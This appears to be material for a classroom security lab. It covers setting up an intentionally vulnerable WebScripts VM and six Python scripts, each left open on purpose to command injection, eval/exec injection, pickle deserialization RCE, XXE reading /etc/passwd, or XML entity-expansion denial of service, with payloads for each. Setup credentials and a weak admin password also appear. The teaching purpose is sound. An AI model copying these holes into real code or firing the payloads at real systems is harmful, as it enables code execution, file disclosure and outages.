This lesson explains how and why developers are at the center of cybersecurity.
Do not use this part, it's useful to know how to debug, to add something or how it's work.
NAT -> Advanced -> Port forwarding -> Add -> Rule 1, 127.0.0.1, 2222, , 22.
Rule 2, 127.0.0.1, 8008, , 4443.
SSH is not enabled, from the console, connect to ssh -p 2222 kali@127.0.0.1
, password: 2VPNpgFzyq7xo9
.
<Network>
<Adapter slot="0" enabled="true" MACAddress="0800279D6EE1" type="82540EM">
<DisabledModes>
<InternalNetwork name="intnet"/>
<HostOnlyInterface name="VirtualBox Host-Only Ethernet Adapter"/>
<NATNetwork name="NatNetwork"/>
</DisabledModes>
<NAT>
<Forwarding name="Rule 1" proto="1" hostip="127.0.0.1" hostport="2222" guestport="22"/>
<Forwarding name="Rule 2" proto="1" hostip="127.0.0.1" hostport="8008" guestport="4443"/>
</NAT>
</Adapter>
</Network>
FROM mauricelambert/webscripts
RUN rm -f /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/config/server.json
COPY server.json /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/config/
RUN rm -f /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/config/scripts/default_*.json
COPY vulns.json /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/config/scripts/
COPY check_up.py /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/vulnerabilities/
COPY fileshare.py /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/vulnerabilities/
COPY num_usages.py /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/vulnerabilities/
COPY password_manager.py /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/vulnerabilities/
COPY xml_counter.py /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/vulnerabilities/
COPY xml_to_html.py /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/vulnerabilities/
COPY .credentials /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/vulnerabilities/
RUN python3 /usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/account/change_user_password.py 2 Adm1n
docker build -t weakwebscripts .
docker run --restart always -p 4443:443/tcp --mount type=volume,source=apache_webscripts_data,target=/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/data --name WeakWebScripts -d weakwebscripts
docker exec -it WeakWebScripts /bin/bash
scp CyberLesson.zip mauricelambert@frs.sourceforge.net:/home/frs/project/bts-sio-slam-cyberintervention/VM.zip
Vulnerability: Command Injection
Payload: (IP address) [ip] | [exploit]
from sys import argv, exit, stderr
from os import system, name
if len(argv) == 2:
ip = argv[1].replace(";", "").replace("&", "").replace("\n", "")
else:
print("USAGES: python3 check_up.py <target ip or hostname>", file="stderr")
exit(1)
if name == "nt":
option = "-n"
arp_command = f'arp -a | findstr "{ip}"'
else:
option = "-c"
arp_command = f'cat /proc/net/arp | grep "{ip}"'
system(f"ping {option} 1 {ip}")
if system(arp_command):
print(ip, "is down.")
exit(2)
else :
print(ip, "is up.")
exit(0)
Vulnerability: python code injection
Payload: (argument 1) lambda: [exploit]
from os.path import join, dirname, basename
from sys import exit, stderr, argv, stdin
from os import listdir, remove
from base64 import b64decode
def getfilepath(filename):
return join(dirname(__file__), basename(filename))
def read():
if len(argv) != 3:
print("USAGES: fileshare.py read <file>", file=stderr)
return 1
print(open(getfilepath(argv[2]), encoding="latin-1").read())
return 0
def write():
if len(argv) != 3:
print("USAGES: fileshare.py write <file>", file=stderr)
return 1
open(getfilepath(argv[2]), "wb").write(b64decode(stdin.buffer.read()))
return 0
def add():
if len(argv) != 3:
print("USAGES: fileshare.py add <file>", file=stderr)
return 1
open(getfilepath(argv[2]), "ab").write(b64decode(stdin.buffer.read()))
return 0
def delete():
if len(argv) != 3:
print("USAGES: fileshare.py delete <file>", file=stderr)
return 1
remove(getfilepath(argv[2]))
return 0
def list():
for filename in listdir(getfilepath("")):
if not filename.endswith(".py") and not filename.startswith("."):
print(filename)
return 0
if len(argv) < 2:
print("USAGES: fileshare.py (list | [read|write|add|delete] [file])", file=stderr)
exit(1)
try:
exit(eval(argv[1])())
except:
exit(127)
Vulnerability: python code injection
Payload: python3 num_usages.py exec "__import__('os').system('[exploit]')"
from sys import argv, exit, stderr
if len(argv) < 3:
print("USAGES: python3 num_usages.py [max|min|sorted|sum] [value1] [value2] [valueN] ...", file=stderr)
exit(1)
if argv[1] in ("sorted", "sum"):
print(getattr(__builtins__, argv[1])((int(x) for x in argv[2:])))
else:
print(getattr(__builtins__, argv[1])(*argv[2:]))
exit(0)
Vulnerability: Unsecure deserialization, CSV Injection
Payload: base64(b"cos\nsystem\np0\n(VEXPLOIT\np1\ntp2\nRp3\n.")
-> Y29zCnN5c3RlbQpwMAooVmVjaG8gUkNFCnAxCnRwMgpScDMKLg== or upload a file with b'cos\nsystem\np0\n(Vecho RCE\np1\ntp2\nRp3\n.'.
from base64 import b64encode, b64decode
from sys import stdin, exit
from pickle import loads
from hashlib import md5
class Key:
def __init__(self, password):
self.key = md5(password).digest()
self.length = 16
class Reader:
def __init__(self, position = None, username = None):
self.filter = partial(lambda u, p, l, c, v: p == v, position) if position is not None else partial(lambda u, p, l, c, v: p == v, username) # wtf?
def get_password(self):
with open(Credentials.filename) as file:
for line in file:
line = [word.strip() for word in line.split(',', 3)]
if self.filter(*line):
credentials = Credentials(*line)
credentials.password = credentials.uncipher()
return credentials
class Credentials:
filename = "credentials.csv"
def __init__(self, username, password, url = "", comment = ""):
self.username = username
self.password = password.encode()
self.url = url
self.comment = comment
def encode_decode(self):
return b64encode(self._cipher()).decode()
def uncipher(self):
self.password = b64decode(self.password.encode())
return self._cipher().decode()
def _cipher(self):
return bytes(char ^ key.key[i % key.length] for i, char in enumerate(self.password))
def save(self):
with open(self.filename, "a") as file:
file.write(f"{self.username},{self.encode_decode()},{self.url},{self.comment}\n")
key = Key(b"")
object_ = loads(b64decode(stdin.buffer.read()))
if object_.__class__.__name__ == "Key":
key = object_
print("The key has been updated")
elif object_.__class__.__name__ == "Credentials":
credentials = object_
credentials.save()
print("The credentials are saved")
elif object_.__class__.__name__ == "Reader":
reader = object_
credentials = reader.get_password()
print(credentials.username, credentials.password, credentials.url, credentials.comment, sep="\n")
exit(0)
Attack: XML External Entity attack.
from xml.parsers.expat import ParserCreate, XML_PARAM_ENTITY_PARSING_ALWAYS, ExpatError
from collections import Counter, defaultdict
from urllib.request import urlopen
from base64 import b64decode
from sys import stdin, exit
from json import dumps
class ParentCounter(Counter):
def __init__(self):
self.is_parent = False
super().__init__()
def start_element(name, attrs):
counters[name]["attributes"] = len(attrs)
counters[name][name] += 1
for counter in counters.values():
if counter.is_parent:
counter["child"] += 1
counters[name].is_parent = True
def end_element(name):
counters[name].is_parent = False
def ExternalEntityRefHandler(context, _1, url, _2):
subparser = p.ExternalEntityParserCreate(context, 'utf-8')
print(urlopen(url).read().decode())
return 1
p = ParserCreate(encoding="UTF-8")
p.ExternalEntityRefHandler = ExternalEntityRefHandler
p.StartElementHandler = start_element
p.EndElementHandler = end_element
p.SetParamEntityParsing(XML_PARAM_ENTITY_PARSING_ALWAYS)
counters = defaultdict(ParentCounter)
try:
p.Parse(b64decode(stdin.read()), True)
except ExpatError as error:
if not error.args[0].startswith("limit on input amplification factor (from DTD and entities) breached"):
raise error
print("DOS attack... I'm dead !")
exit(127)
print(dumps({k: v.__dict__ for k, v in counters.items()}, indent=4))
exit(0)
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root isroot="yes"><test isroot="no">&xxe;</test></root>
Attack: Billion Laughs, Quadratic Blowup, potential XSS in stderr.
from xml.etree.ElementTree import fromstring, ParseError
from sys import stdin, exit, stderr
from base64 import b64decode
from string import Template
from re import fullmatch
from html import escape
example = """<?xml version="1.0"?>
<document>
<text>
<data>Hello World !</data>
<color>#FFFFFF</color>
<type>h1</type>
</text>
<text>
<data>Build a simple web page with XML !</data>
<color>#FFFFFF</color>
<type>p</type>
</text>
</document>"""
output = Template("""
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My Web Page !</title>
<style>
body {
font-family: "'14px/1.3 Avenir',Helvetica,Arial,sans-serif";
backgroud-color: #efefef;
}
div {
margin-right: 25%;
margin-left: 25%;
margin-top: 25px;
background-color: #ababab;
border: 1px solid #222222;
border-radius: 10px;
padding: 25px;
}
</style>
</head>
<body>
<div>
${data}
</div>
</body>
</html>
""")
data = ""
color = "#FFFFFF"
text = "Hello World !"
type_ = "p"
try:
root = fromstring(b64decode(stdin.read()).decode())
except ParseError as error:
print(error)
if error.args[0].startswith("no element found:"):
print("Incorrect XML, example:", example)
exit(1)
if error.args[0].startswith("limit on input amplification factor (from DTD and entities) breached"):
print("DOS attack... I'm dead !")
exit(127)
raise error
# root = tree.getroot()
for child in root:
if child.tag == "text":
for subchild in child:
if subchild.tag == "color":
if fullmatch(r"#[A-Fa-f\d]{6}", subchild.text):
color = subchild.text
else:
print('<p color="#FF0000" style="color: #ff0000">Incorrect color !</p>', file=stderr)
exit(2)
elif subchild.tag == "data":
text = escape(subchild.text)
elif subchild.tag == "type":
if fullmatch(r"\w+", subchild.text):
type_ = subchild.text
else:
print('<p color="#FF0000" style="color: #ff0000">Incorrect type !</p>', file=stderr)
exit(3)
data += f'<{type_} style="color: {color};">{text}</{type_}>\n '
print(output.safe_substitute(data=data))
exit(0)
Payloads:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
f'''<?xml version="1.0"?>
<!DOCTYPE DoS [
<!ENTITY x "{'A' * 9999999}">
]>
<DoS>{'&x;' * 9999999}</DoS>'''
{
"server": {
"interface": "127.0.0.1",
"port": 8000,
"debug": false,
"security": true,
"accept_unknow_user": true,
"accept_unauthenticated_user": true,
"active_auth": true,
"auth_script": "auth.py",
"auth_failures_to_blacklist": 3,
"blacklist_time": 30,
"admin_groups": [1000],
"exclude_auth_paths": ["/static/", "/js/"],
"exclude_auth_pages": ["/api/", "/auth/", "/web/auth/"],
"session_max_time": 3600,
"csrf_max_time": 300,
"scripts_path": [
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/vulnerabilities/",
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/scripts/account/"
],
"json_scripts_config": [
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/config/scripts/vulns.json"
],
"ini_scripts_config": [],
"documentations_path": [],
"modules": ["error_pages"],
"modules_path": ["/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/modules/"],
"js_path": [
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/static/js/*.js"
],
"statics_path": [
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/static/html/*.html",
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/static/css/*.css",
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/static/images/*.png",
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/static/images/*.jpg",
"/usr/src/WebScripts/lib/python3.9/site-packages/WebScripts/static/pdf/*.pdf"
],
"log_level": "0",
"log_filename": "/usr/src/WebScripts/logs/root.logs",
"log_format": "%(asctime)s %(levelname)s %(message)s (%(funcName)s -> %(filename)s:%(lineno)d)",
"log_date_format": "%d/%m/%Y %H:%M:%S",
"log_encoding": "utf-8",
"smtp_server": null,
"smtp_starttls": false,
"smtp_password": null,
"smtp_port": 25,
"smtp_ssl": false,
"admin_adresses": [
"admin1@webscripts.local",
"admin2@webscripts.local"
],
"notification_address": "notification@webscripts.local"
},
"scripts": {
"auth.py": "config_auth"
},
"config_auth": {
"timeout": 15,
"args": "auth_args",
"launcher": "python3",
"category": "My Account",
"description": "This script authenticates users."
},
"auth_args": {
"--username": "arg_username",
"--password": "arg_password"
},
"arg_password": {
"example": "password",
"html_type": "password",
"description": "Your password (to log in)"
},
"arg_username": {
"example": "user",
"description": "Your username (to log in)"
}
}
{
"scripts": {
"check_up.py": "config_check_up",
"fileshare.py": "config_fileshare",
"num_usages.py": "config_num_usages",
"xml_counter.py": "config_xml_counter",
"xml_to_html.py": "config_xml_to_html",
"password_manager.py": "config_password_manager"
},
"config_check_up": {
"timeout": 10,
"no_password": true,
"launcher": "python3",
"category": "Network",
"access_users": [0, 1, 2],
"content_type": "text/plain",
"args": "config_check_up_args",
"description": "This script checks host is up."
},
"config_check_up_args": {
"host": "arg_host"
},
"arg_host": {
"example": "192.168.56.1",
"description": "Host (IP or Netbios name) to check is up."
},
"config_fileshare": {
"timeout": 10,
"no_password": true,
"category": "Share",
"launcher": "python3",
"access_users": [0, 1, 2],
"content_type": "text/plain",
"args": "config_fileshare_args",
"description": "This script shares files content."
},
"config_fileshare_args": {
"action": "arg_action1",
"filename": "arg_filename",
"filecontent": "arg_filecontent"
},
"arg_action1": {
"predefined_values": ["list", "read", "write", "add", "delete"],
"description": "Action to perform."
},
"arg_filename": {
"example": "file.txt",
"description": "Filename to read, write, add or delete content (unused with 'list' action)."
},
"arg_filecontent": {
"input": true,
"html_type": "file"
},
"config_num_usages": {
"timeout": 10,
"no_password": true,
"launcher": "python3",
"access_users": [0, 1, 2],
"category": "Miscellaneous",
"content_type": "text/plain",
"args": "config_num_usages_args",
"description": "Simple script used to sort, get the min, max, or sum of numbers."
},
"config_num_usages_args": {
"action": "arg_action",
"numbers": "arg_numbers"
},
"arg_action": {
"predefined_values": ["max", "min", "sum", "sorted"],
"description": "Action to perform."
},
"arg_numbers": {
"list": true,
"example": "123",
"html_type": "number",
"description": "Numbers to use."
},
"config_password_manager": {
"timeout": 10,
"no_password": true,
"launcher": "python3",
"category": "Passwords",
"access_users": [0, 1, 2],
"content_type": "text/plain",
"args": "config_password_manager_args",
"description": "This script stores and reads ciphered passwords"
},
"config_password_manager_args": {
"data": "arg_filescontent"
},
"arg_filescontent": {
"list": true,
"input": true,
"html_type": "file"
},
"config_xml_counter": {
"timeout": 10,
"category": "XML",
"no_password": true,
"launcher": "python3",
"access_users": [0, 1, 2],
"content_type": "text/plain",
"args": "config_xml_counter_args",
"description": "This script counts XML elements types, childs and attributes."
},
"config_xml_counter_args": {
"xml_document": "arg_filecontent"
},
"config_xml_to_html": {
"timeout": 10,
"category": "XML",
"no_password": true,
"launcher": "python3",
"access_users": [0, 1, 2],
"content_type": "text/plain",
"args": "config_xml_to_html_args",
"stderr_content_type": "text/html",
"description": "This script generates a basic HTML page from XML file."
},
"config_xml_to_html_args": {
"xml_document": "arg_filecontent"
}
}
Start the VM CyberLesson
and open your web browser on 127.0.0.1:8008
.
Find 6 vulnerabilities. Help other students once every 5 minutes (15 minutes per vulnerabilities -> 3 helps per vulnerabilities). Total 90 minutes.
num_usage.py
vulnerability.